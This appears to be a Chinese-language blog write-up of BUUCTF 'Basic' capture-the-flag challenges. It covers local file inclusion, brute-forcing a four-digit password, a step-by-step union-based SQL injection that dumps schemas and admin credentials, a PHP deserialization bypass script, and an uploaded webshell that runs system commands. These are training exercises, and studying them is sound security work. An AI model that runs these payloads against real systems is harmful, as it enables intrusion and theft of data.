BUUCTF-Basic详细完整writeup

每天都要加油啊!  ----2024-01-04  10:40:51


1.Linux Labs

我用的是xshell连接,按照右图进行填写。点击确定,会提示输入用户名和密码。

基本命令找到flag

2.BUU LFI COURSE 1

get传参file=/flag,拿到flag
flag{2736bf55-2b43-4949-9583-cd74cf329127} 


3.BUU BRUTE 1

本来以为是一道sql注入的题,但是并不是。username输入一直显示错误,输入admin的时候显示密码错误,提示4位密码,这时候想到了爆破。

我们利用kali的intruder模块中的sniper进行爆破攻击,将password添加到变量中。按照以下选项配置

有点慢多开了几个进程,当payload为6490的时候,爆出flag:


4.BUU SQL COURSE 1

点击新闻1,有如下页面,但是没有传参,进入F12

发现这个,、猜测这个位置有sql注入点。

输入id=1 and 1=1,页面返回正常,有sql注入点。一下为payload。

?id=-1 union%20select (select group_concat(schema_name) from information_schema.schemata),2#
#result="information_schema,ctftraining,mysql,performance_schema,test,news"
得到数据库有“information_schema,ctftraining,mysql,performance_schema,test,news”

?id=-1 union select (select group_concat(table_name) from information_schema.tables where table_schema='news'),2#
#result="admin,contents"
得到news数据库下的表

?id=-1 union select (select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'),2#
#result="FLAG_TABLE,news,users"
得到ctftraining的表

?id=-1 union select (select group_concat(column_name) from information_schema.columns where table_name='admin'),2#
#result=	"id,username,password"
得到news下admin表的列名

?id=-1 union select (select group_concat(column_name) from information_schema.columns where table_name='FLAG_TABLE'),2#
#result=	"FLAG_COLUMN"
得到ctftraining下FLAG_TABLE下的表

?id=-1 union select (select group_concat(column_name) from information_schema.columns where table_name='users'),2#
#result="id,username,password,ip,time,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS"

?id=-1 union select (select group_concat(username, "   ",password) from admin),2#
"admin   2c11600a6599c5d4d2406776e9ec21cc"
?id=-1 union select (select group_concat(username,password) from users),2#  应该是空表
?id=-1 union select FLAG_COLUMN from ctftraining.FLAG_TABLE),2#        #应该是空表

登陆得到flag: flag{3a86c52a-6a9d-4f80-a151-45b0c1b1fc3c} 


5.Upload-Labs-Linux


6.BUU CODE REVIEW 1

一道反序列化的题,首先pleaseget要强等于1,pleasepost要强等于2,然后两个POST传参,md51和md52要不相等,并且md5值要相等。可以用数组绕过。

然后构造反序列化脚本。要让correct===input,可以使用引用的知识。

给出脚本:

<?php

class BUU {
public $correct = "";
public $input ="";
}

$obj=new BUU();
$obj->input=&$obj->correct;
echo urlencode(serialize($obj));
 
 
 
result=O%3A3%3A%22BUU%22%3A2%3A%7Bs%3A7%3A%22correct%22%3Bs%3A0%3A%22%22%3Bs%3A5%3A%22input%22%3BR%3A2%3B%7D
得到flag:flag{c1c2543c-29d1-4a66-b167-35bc75422323} 

7.BUU UPLOAD COURSE 1

打开题目,提示上传文件

上传不同文件,发现无论上传什么,它都会将后缀改成jpg。

直接访问并不能执行,只能查看,要在file后面加,估计是内部的原因,也可以用蚁剑直接连。

POST发送cmd=system("ls /");

得到目录信息bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var 

POST发送cmd=system("cat /flag");

得到flag:flag{d94a2867-1848-41e5-8511-8b7a842f270b} 

posted @ 2024-01-04 10:56  AllFalls  阅读(228)  评论(0编辑  收藏  举报